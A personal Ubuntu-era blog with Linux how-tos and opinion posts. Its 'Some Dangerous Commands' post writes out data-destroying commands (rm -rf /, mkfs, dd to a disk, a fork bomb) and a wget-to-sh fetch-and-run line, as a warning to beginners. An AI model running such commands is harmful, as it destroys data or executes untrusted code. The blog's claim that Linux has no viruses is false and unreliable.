Messed Up Sources

MY Ubuntu 8.04 upgrade was messed up a bit.Since I couldn't update my installation,I updated the packages and it seemed to work.A few days ago,I was wondering why I still had Firefox 3 Beta 5.I checked my software sources to see that the sources were outdated.I was getting updates from the gutsy repositories.

Ankur suggested me to replace my 'sources.list' file to sort out the problem.I did so and it worked.Here's a guide for noobs on how to do so-

1)Boot from the Ubuntu 8.04 live CD.Select Try Ubuntu without making any changes to your computer.After the live session loads completely,open a terminal window(Applications->Accessories->Terminal).

2)Run nautilus in super user mode by running

sudo nautilus

Kubuntu users type 'sudo konqueror' and xubuntu users 'sudo thunar'.

3)Navigate to /etc/apt.Copy 'sources.list'.Then navigate to the partition with Ubuntu installed.Replace /etc/apt/sources.list with the file you just copied.

Now boot Ubuntu and go to System->Administration->Software Sources.Move to the 'Updates' tab.Make sure that 'hardy-security' and 'hardy-updates' are checked and 'hardy-proposed' and 'hardy-backports' are unchecked.

This solved the problem for me and I find no reason why it shouldn't work for anyone else.I hope this solved your problem.

Kubuntu 8.04 is DISASTROUS

At the end of my last post,I had mentioned about my plans to do a fresh install of Kubuntu.I did so and here's what I think.

A year ago,when I read this post on Ankur's blog,I thought Kubuntu can't be that BAD.When I tried Kubuntu 8.04,it was confirmed-"Kubuntu Sucks".

I installed Kubuntu 8.04 from the live CD and the setup was smooth as ever and took about 20 minutes as usual.I booted up Kubuntu to hear a very simple default KDE startup tone as opposed to the cool Ubuntu Afrikaans tone.The wallpaper was the default KDE wallpaper.I quickly configured my network as I had dhcp enabled on my modem.I don't like using Konqueror as a web browser and thus decided to download Firefox.Here's where the problem started.The package manager refused to start.

Its always a nice idea to apt-get stuff,so I did that for firefox.
IP:To install a package named xxxx,open the Terminal/Console and type-

sudo apt-get install xxxx

Next up were the 'Restricted Packages' and the codecs.I restarted my computer hoping that the package manager might open but it failed to open again.

Kubuntu is just KDE in its native state and nothing else.It has no touch of Ubuntu at all.Even a pocket distro like Slax has a customized wallpaper and look.Here's a tip for Kubuntu users-

Order an Ubuntu CD and get rid of Kubuntu.

I'm sticking to Ubuntu as I don't use sticky keys and use the buggy parts of it rarely.

Using multiple Desktop Environments in Ubuntu

Various Linux distributions use different desktop environments.Ubuntu uses GNOME which is a lightweight environment that has moderately high system requirements.Other versions of Ubuntu called Kubuntu and Xubuntu use KDE(K Desktop Environment) and Xfce respectively.KDE is a bit on the high system requirements side but definitely not higher than Vista's requirements.It is around 180MB in size.Xfce is a lightweight desktop environment which amazingly has lots of features but is just 10MB in size.

In order to use both GNOME and KDE on your Ubuntu installation,all you need to do is to install the package kubuntu-desktop and all the packages that come with it.To do that,just run

sudo apt-get install kubuntu-desktop

You can also select to install the package 'kubuntu-desktop' from the Synaptic Package Manager located in the Administration sub-menu in the System Menu.

In case you wish to try out Xfce,you can also install the package 'xubuntu-desktop' by the same procedure mentioned above.

After doing that,you have multiple desktop environments.The next time you log in,click on change session and select GNOME,KDE or Xfce according to your choice and use the desktop environment you want to use.If you encounter any problems,refer to the Linux section of my blog for help.

Windows+Ubuntu=Wubi

I received my Ubuntu and Kubuntu 8.04 live CD yesterday via Shipit.I had already upgraded my 7.10(Gutsy) installation to 8.04(Hardy) using the alternate CD.I was waiting for the CD to try out Wubi.Wubi is a great innovation which allows you to install Ubuntu/Kubuntu/Xubuntu inside windows.Its like installing an application on windows called Ubuntu.Basically its Ubuntu on an NTFS partition and is best for noobs who don't know anything about ext3 and other UNIX type filesystems.

Installation
Installing Ubuntu through Wubi is extremely simple and quite fast.The install has a simple 2 step process.You first need to pop in the CD in windows and select Install Ubuntu inside Windows.You need 6GB free space on a partition.Select the partition and the install size.The installation files and images will be created.Here's a screenshot of that step-


The step will also install GRUB bootloader to complete the installation.The CD will eject out when this process is completed.It takes about 6 to 7 minutes for the process to complete.You will be asked to reboot your computer,do so.When you reboot,you will be given a menu.Select Ubuntu to start the second step of the installation.This part will take care of all the partitioning and all you have to do is to wait.You might have to wait for about 5 minutes at the 'Formatting Swap Space' stage.The second stage will end in about 10-12 minutes.The whole process should take about 20-30 minutes.This is about the time required to install GTA San Andreas on my computer.

Looking for more steps?You're installing the wrong OS if you want more steps.I later checked out my partition on which I had installed Ubuntu.Ubuntu got installed in a folder called Ubuntu.You won't find the filesystem inside it but there are some files including the un-install file.

Un-Installation
It might seem that uninstalling an entire operating system is complex,I also though so.In order to uninstall ubuntu,go to Add/Remove from Control Panel or simply click on the Uninstall file.The wizard prompts you to save a backup of the installation before starting the removal.The process of uninstallation took just about a minute to complete which is pretty good if you consider the the size of the operating system.

I would recommend Linux noobs to try Wubi for their first experience of Ubuntu because its really very simple.

Ubuntu Bootup Resolution Problem Part-2

Here's a new dimension to the famous Ubuntu 7.10 Bootup Resolution Problem.In order to fix the problem,you would have added a vga=791 or lets say vga=xxx to the your /boot/grub/menu.lst.

Recently I discovered that updating your kernel resets your menu.lst to the default settings.You need to edit the automagic kernel settings in order to solve the problem permanently.

Open a terminal window and type the following to edit menu.lst-

sudo gedit /boot/grub/menu.lst or,
sudo nano /boot/grub/menu.lst

Type your password to edit the file.Lets say you had added vga=xxx after reading part 1 of this problem.Now search for a line like this one-

# defoptions=splash quiet

You need to change it to-

# defoptions=splash vga=xxx quiet

This should solve your problem permanently.I'll post a part-3 if I discover any other aspect of this problem.

Some Dangerous Commands

This post is to warn all noobs.If you don't know what a noob is,perhaps you might be one.Noob is short for newbie.If you want a complete post dedicated to explaining noobs, visit Vivek's Blog(The Tech Nut).

In one of my recent posts,I had linked back to some good Linux forums like LQ and Ubuntu Forums and had asked you to visit these forums for some additional help.But all people are not as helpful as I am.There are a few spammers misguiding people who ask questions on the forums.Although such spammers are banned from the forums,you might come across one someday.

Ubuntu is one of the most user friendly Linux Distros.You will rarely need to use terminal.However Linux Pros like using the terminal and even noobs find it fascinating to use a command line.So here are a few commands with their description which is explanatory of the fact that they are dangerous.

The following are statements which recursively delete files-

rm -rf /
rm -rf .
rm -rf *

These three statements are to delete all files,delete current directory and delete visible files in current directory respectively.

mkfs is a command used to format a partition.Thus these commands should never be executed -

mkfs
mkfs.ext3
mkfs.anything

I would recommend you to use a GUI to format partitions if you ever need to do so.

Another hazardous thing you can do with the terminal is 'Block device manipulation'.It causes raw data to be written to a block device. Often times this will clobber the filesystem and cause total loss of data.This is what the command will look like-

any_command > /dev/sda
dd if=something of=/dev/sda

Some spammers make you trigger a Forkbomb.In other words it executes a huge number of processes until system freezes, forcing you to do a hard reset which may cause corruption, data damage, or other awful fates.In Bourne-ish shells, like Bash,it looks like-

:(){:|:};:

and in Perl-

fork while fork

I would like to remind you that all these commands should NOT be executed.
You should take preventive measures to combat Tarbombs and Decompression bombs.Always extract archives in a new folder and don't download archives from untrusted sources.

Don't execute all shellscripts given to you.It may contain a malicious command.This is what the code will look like-

wget http://some_place/some_file
sh ./some_file

Which is same as writing-

wget http://some_place/some_file -O- | sh

The list of hazards is endless.Someone might ask you to compile some code.This can be a good way to hide the commands he wants you to execute.Thus the best way to be safe is to understand the commands you execute.If you feel that your problem is not related to the command you are being told to execute,be cautious and ask for help from other sources.

Ubuntu 7.10 Bootup Resolution Problem

Ubuntu has some problems associated with it but there isn't any problem which can't be solved.The configuration files are really easy to edit and can be edited by just using a simple text editor.This is something I like about Linux.

I recently installed Ubuntu 7.10(Gutsy Gibbon) on my PC and faced a problem which is quite widespread and probably will be faced by many of you.While booting up and during shut-down the screen resolution was too high for my Compaq MV540 monitor which does not support 1280 X 1024 resolution.The monitor displayed an 'Out of frequency range' error.Don't worry if you have the same problem with your Monitor.

There is a simple 3 step process to solve this problem-

1. Type 'sudo gedit /etc/usplash.conf' or 'sudo nano /etc/usplash.conf' to edit the file-'usplash.conf'.It will look like this-

   # Usplash configuration file
   xres=1280
   yres=1024

   You have to change 1280 to 1024 in the x resolution and 1024 to 768 in the y resolution
   
   
2. Step 1 should solve the shut-down problem.To solve the start-up problem,you need to follow step2 and step3.Now edit /boot/grub/menu.lst by typing 'sudo gedit /boot/grub/menu.lst' or 'sudo nano /boot/grub/menu.lst' .In this file reach the line

   ## ## End Default Options ##

   By default the next paragraph will have the boot information for the option you choose while booting up.It will say something like-

   title Ubuntu 7.10, kernel 2.6.22-14-generic
   root (hd0,9)
   kernel /boot/vmlinuz-2.6.22-14-generic root=UUID=ebddbc03-0e71-41dd-babd-278109f26a95 ro quiet splash
   initrd /boot/initrd.img-2.6.22-14-generic
   quiet

   At the end of the line next to kernel,next to splash add 'vga=791'.791 is the code for 1024X768 resolution in 16 Bits.What this does is that it changes the screen resolution of all following steps but not of the xserver.You can select any other resolution which your monitor is comfortable with.
   Here are some typical values for some screen resolutions-






Colours   640x400 640x480 800x600 1024x768 1152x864 1280x1024 1600x1200
--------+--------------------------------------------------------------
4 bits  |    ?       ?      770       ?        ?        ?         ?
8 bits  |   768     769     771      773      353      775       796
15 bits |    ?      784     787      790      354      793       797
16 bits |    ?      758     788      791      355      794       798
24 bits |    ?      786     789      792       ?       795       799
32 bits |    ?       ?       ?        ?       356       ?



3. The third step is a copy and paste step.In this step,you need to execute a command to update the settings and generate a new usplash image of the resolution you selected.Execute this command in a terminal window-
   

   sudo update-initramfs -u -k `uname -r`

   You can also try this(it's the same thing written differently but it is applicable only for the default Ubuntu usplash theme)-

   sudo update-usplash-theme usplash-theme-ubuntu

   Reboot your computer now and I'm sure you'll be able to see the orange Startup splash screen without any trouble now.
   

I hope this post helped you to solve your problems.If your problem still persists,visit a good Linux forum like LQ or Ubuntu Forums.You can also try downloading StartUp-Manager from the synaptic or from here if you don't like editing files manually.

PS-If you update your kernel,you might face the problem again.Visit the part 2 of this problem to prevent this from happening again.

When Computers Don't Boot

How often has it happened with you that all of a sudden your computer fails to boot?I've had this problem countless times and have solved it each time successfully.Today I'll give you some advice for such situations both for Windows and Linux.

If you are using Windows XP and no other OS and your computer refuses to boot,it is perhaps because of some problem with your main partition called the C drive.Follow these steps to solve the problem(note that you need to have a Windows XP CD)-

• Boot from the CD.If you can't boot from it,check your BIOS settings.
• When prompted,press 'R' to get to the recovery console.
• In the recovery console,type 'chkdsk' and hit the return key to check your windows partition
• CHKDSK will remove errors from the partition and now your computer should boot normally
• If your problem is still not solved,try 'fixboot' or in extreme cases 'fixmbr'.Note that this step is recommended only if Windows is the only OS in use.

Suppose you are using Linux(I'll take Ubuntu as example but you can do it with almost all distros having live CDs) in dual booting with Windows and you want to correct your windows installation using the above procedure you will face some problems.When you insert the Windows CD into your drive and boot from it,your MBR(Master Boot Record) will be re-written as windows can't tolerate the existence of another OS with it.

Most Linux distros like Ubuntu use GRUB boot loader which is an intelligent boot-loader and can manage different Operating Systems simultaneously.The windows CD removes GRUB from the MBR.Now you need to reinstall GRUB in order to detect the installed Linux OS.You can do this by following these steps-

• Boot form the Ubuntu live CD(other live CDs can also be used).
• Go to System->Administration->Users and Groups.
• Change the root password to anything of your choice.
• Open the terminal or the console or in KDE language, Konsole
• Type 'su',hit the return key and enter the password you just set.
• Now type 'grub' and hit the return key.You will get a grub> prompt.
• Type 'find /boot/grub/stage1' to find the partition which has grub installed.You will get back the address like (hd0,0) or as (hd0,1) it depends on the partition.If you get multiple results,don't worry you need just one as GRUB is really intelligent.If you have GRUB installed on 'hda3' or on 'sda3' on the first hard disk,the address returned will be (hd0,2)
• Now type 'root (hd0,2)' or whatever applicable and hit the return key as usual.
  
• Now you have reached the final step in which you have to install GRUB to your MBR.Type 'setup (hd0)' or whatever applicable in your case to install GRUB to the MBR of your hard drive.Note that 'hd0' represents your 1st hard drive and 'hd1' your second one and so on.In this step GRUB will be setup and it will also detect other operating systems.
  

You computer should boot without any problems now.Note that if you are using dual booting and have lost grub due to other reasons,I would suggest you to follow the same procedure.You should be thorough with the procedure for installing GRUB as you will need to do that every time the silly Windows fails to boot.

After reading this post I'm sure you would agree that Linux is far more superior to Windows as far as the boot-loader is concerned.If you have any other questions regarding reinstalling GRUB,you may leave a comment.

SHIPIT IS OPEN

Great news for all Linux fans and specially for Debian and Ubuntu fans.Shipit,the free media program of Canonical is now open for pre-order of Ubuntu ,Kubuntu and Edubuntu 7.10(Gutsy Gibbon).So you can order your free Ubuntu,Kubuntu or Edubuntu CD now.Note that these OS's will be released on 18th October so all you can do is place your order beforehand which will be shipped when Gutsy Gibbon will be released.If you want Xubuntu,there's no Shipit for you.You'll have to download on 18th October.Shipit has reduced the number of CD's you can order.You can either order 1 PC edition CD,1 64bit-PC edition CD, 2 PC edition CD's or 1 PC and 1 64bit-PC edition.If you want more Cd's you'll have to place a special order with a valid reason.I guess Canonical is running out of funds or more probably they want to prevent the misuse of their free media program.

UBUNTU 7.10 PREVIEW

I'm eagerly waiting for the latest Ubuntu release 7.10 Gutsy Gibbon.Today,I'll tell you which features impress me the most.First of all a new version of GNOME desktop environment-2.20.I'm sure it's something to lookout for.Another key feature as far as I am concerned is NTFS writing as my windows NTFS partitions are taking too much hard disk space.There are other excellent features like Desktop Search,Fast User Switching and Firefox plugins.Ubuntu 7.10 also consumes less power which is ideal for the long life of Laptop batteries.You can read about the features in detail by visiting their website.

DPS VK WEBSITE MAY HARM YOUR COMPUTER?

While browsing today,I just noticed that according to Google,my school's website-http://www.dpsvasantkunj.com(click at your own risk) can harm your computer.The website is maintained by Mr Satpal who is not a proper web designer.Something should be done about this.GQ told me that the source code is very long and has too many useless lines in it.Here's the proof.I even have screen-shots to show you.Here are they I have even taken a screen-shot with the snap preview to clarify that this has in no way been edited.Special thanks to the Snap Shots add-on for Mozilla Firefox for this one.Here they are-


Here's another one-

Click on the screen-shots for a better view.This is what Google has to say about it.It's up to you to believe it or not.It's better to play safe if you are a windows user.

After a discussion with GQ,I inferred that a possible reason for this can be the spread of Brontok viruses through the school network.A tip to every student who uses pen drives at school-Be careful before inserting the pen drive and scan your pen drive later.This obviously is insignificant and doesn't make sense if you are a Linux user like me.

I'VE TURNED A YEAR OLDER

Guess what day it is?It's my birthday.This is one of the shortest posts on my blog.You can call it a short update.I bet this post could fit a SMS.I had a nice time at school today.The Ubuntu community wished me today,something which Microsoft would never do.This is another reason to shift to Linux.I have other things to do right now.So enjoy yourself while I do so.I'll write a post later today.Till then just scan through my archives.

UBUNTU FEATURES-PART 2

Here I am with another edition of Ubuntu features.Today I'll bring you absolute beginner talk with basic features found in all versions of Ubuntu.This how my desktop looks like now-


I admit that there isn't much difference in my desktop from my last edition.Recently I discovered that Geyes can be configured according to your needs.Thus I changed the theme.

I have also added Wanda the fish,the fortune teller to my panel and renamed it to Nemo.You can also configure the animation of the fish.You can also select the command to execute when the fish is clicked.By default,it is set to fortune.This is how the fortune looks like-



This is how Free Software Foundation, Inc. describes Wanda the Fish-


Wanda has no use what-so-ever. It only takes up disk space and compilation time, and if loaded it also takes up precious panel space and memory. Anybody found using it should be promptly sent for a psychiatric evaluation.


So,I decided to try it out knowing that I might get bored soon.But,I thought about changing the animation after some time.Overall, though it is nothing new but it is worth a post.

I'll tell you about more features once I discover them.So you can wait for Ubuntu Features Part 3.

UBUNTU FEATURES-PART 1

I have decided to keep you informed about various features offered by UBUNTU 7.04 gradually as I discover new ones.If you remember I had shown you a screen-shot of my desktop the last time I posted about UBUNTU.Today I want to show you what I've done with my desktop so far.I'm planning to upgrade my Graphics Card and make use of some desktop effects.What I like the most is Geyes,a pair of eyes,I've put on my top panel.The eyeballs move in the direction of movement of the mouse pointer.Here's my desktop-

I recently downloaded a nice utility called Blog Entry Poster with the help of which I made this post.I've got it placed where I wanted it to be-on my panel.I'll keep you informed about more features once I know more about them.Till then I will leave you with these.You can soon hope for a sequel.

UBUNTU 7.04-LINUX FOR HUMANS

Yesterday, I finally received my free Ubuntu 7.04 CD. I didn’t expect it to come this soon as my friend GQ had ordered his copy much before I ordered mine and he is still waiting for his CD. I was really excited to try this latest version of this Linux based Operating System. I installed it successfully without any problems considering that it didn’t affect the Windows XP professional edition-Service Pack 2 installed on the other partition of my hard disc. Ubuntu is an ancient African word that means “humanity to others”. It was easy to install as it came with a live installation CD. All you need to have is at least 256MB of RAM and around 4GB of disc space. This is the first Linux OS I have tried and it seems to be great at first look. The installation is far more interactive than any Windows installation. As I have mentioned earlier Ubuntu is a Linux OS. Thus, you can use it absolutely free of cost. Therefore, you can order your own CD or download the files and burn a CD by clicking on the link below

CLICK HERE TO GET UBUNTU 7.04

I’ve decided to give you a glance at what you will receive if you download order Ubuntu. This is what the cover looks like

And here’s a picture of the CD

Ubuntu has a really good Afrikaans start up tone which is music to your ears. I personally got extremely bored of the Windows XP start up tone. The software bundled with it includes Open Office, which I must say, is much better than Microsoft Office. Mozilla Firefox 2.0.0.3 is the default web browser and archive manager is the default archiver. The Add or Remove software menu is a good utility that allows you to download and install softwares easily. I would rate Ubuntu 7.04 *****(5/5). Thus, if you are thinking of upgrading to Windows Vista, you should try Ubuntu at least once before doing so. Why would you want to waste money for an unsafe OS if you could get a safer one free of charge.If you want more pictures,here's a picture of my desktop.

LINUX: THE DARK HORSE

I hadn’t heard much about Linux until my friend Ankur Banerjee told me about it. He’s a proud Linux user and soon I’ll become one too. I’ve just place an order for my CD of the latest OS Ubuntu 7.04(Feisty Fawn) which works on a Linux platform. After knowing about Linux in detail, I decided to publicize it a bit as I feel it isn’t getting much publicity.

I’ll start from the very basic definition for amateurs to understand what I’m talking about. Linux is an Operating System (like windows). It is much more secure than Windows XP or Windows Vista which claim to be the safest Operating Systems. If you’ve ever come across a book on hacking, all hackers have a common opinion that security and Microsoft never go together. All books say that a system running on windows is the easiest to hack. It is a well known fact that an unprotected system running on Windows can be hacked in 10 minutes if it’s online.

Linux has many salient features. According to me one of the greatest assets of Linux is that there is nothing such as a virus for a Linux system. Thus you don’t need any anti-virus if you are running on a Linux system. The reason is that no file can install itself in a Linux system as Super-Administrator rights are required which are impossible to obtain for malware.

One of the reasons why I’m shifting to Linux is that I’m fed up of Microsoft and all the fuss about ownership of Genuine Windows XP. All important updates I download check for the genuineness of my genuine Windows XP. What’s the point of checking it again and again? I have statistics which say that more than 80% users of Internet Explorer 6.0 haven’t upgraded to Internet Explorer 7.0 due to complicated procedure involved.

Linux offers respite from this fuss about genuine OS as it is a free software. Moreover, it is absolutely legal to copy and distribute Linux to your family and friends. Linux uses Mozilla Firefox as its default web browser which is much better than Microsoft Internet Explorer. As I’ve mentioned in earlier posts Mozilla Firefox is an award winning browser.

Some other advantages offered by Linux are that it uses better software. Linux comes preloaded with archivers which can handle archives of all formats. It uses Open Office which has more features than Microsoft Office and can handle more file formats. The latest version of Microsoft Office uses 4 letter extensions in place of the traditional 3 letter extensions like .doc, .ppt, .mdb etc. The latest version of Open Office which is included in Ubuntu is compatible with the new 4 letter extensions too. On the other hand, if you are using an older version of Microsoft Office you won’t be able to work with the new 4 letter extensions without downloading the compatibility pack offered by Microsoft.

If you’ve ever loaded Windows on your system you might know that it takes a minimum of 30 minutes to install Windows. On the other hand, Linux takes just 13 minutes for installation.

I’m sure that after reading this you would be convinced that Linux is clearly the dark horse which is much better than Windows which always remains in the spotlight.
You can get your own copy of Ubuntu 7.04 delivered to you for free. Just click on the link below to order your free CD.

CLICK TO GET YOUR FREE UBUNTU 7.04 CD